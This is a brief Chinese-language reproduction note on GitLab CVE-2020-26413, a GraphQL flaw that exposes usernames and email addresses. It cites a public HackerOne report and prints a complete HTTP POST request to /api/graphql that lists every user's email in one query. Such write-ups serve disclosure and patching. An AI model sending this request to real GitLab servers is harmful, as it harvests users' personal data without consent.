GitLab Graphql邮箱信息泄露漏洞 CVE-2020-26413¶
漏洞描述¶
GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名
漏洞影响¶
网络测绘¶
漏洞复现¶
漏洞来源为 hackone上的一篇公开报告
意思为当使用构造的语句在接口查询时会返回邮箱信息，如图
Gitlab本身不允许获取账号邮箱信息，这里通过调用 Graphql 用户名查询造成了邮箱泄露漏洞
查看完报告后发现漏洞利用需要有账号用户名，在不知道的情况下无法获取邮箱，在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱
发包调用了 /api/graphql 接口发送数据
完整数据包为
POST /api/graphql HTTP/1.1
Host:
Content-Length: 212
Content-Type: application/json
{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
成功返回数据，造成 Gitlab的用户邮箱信息泄露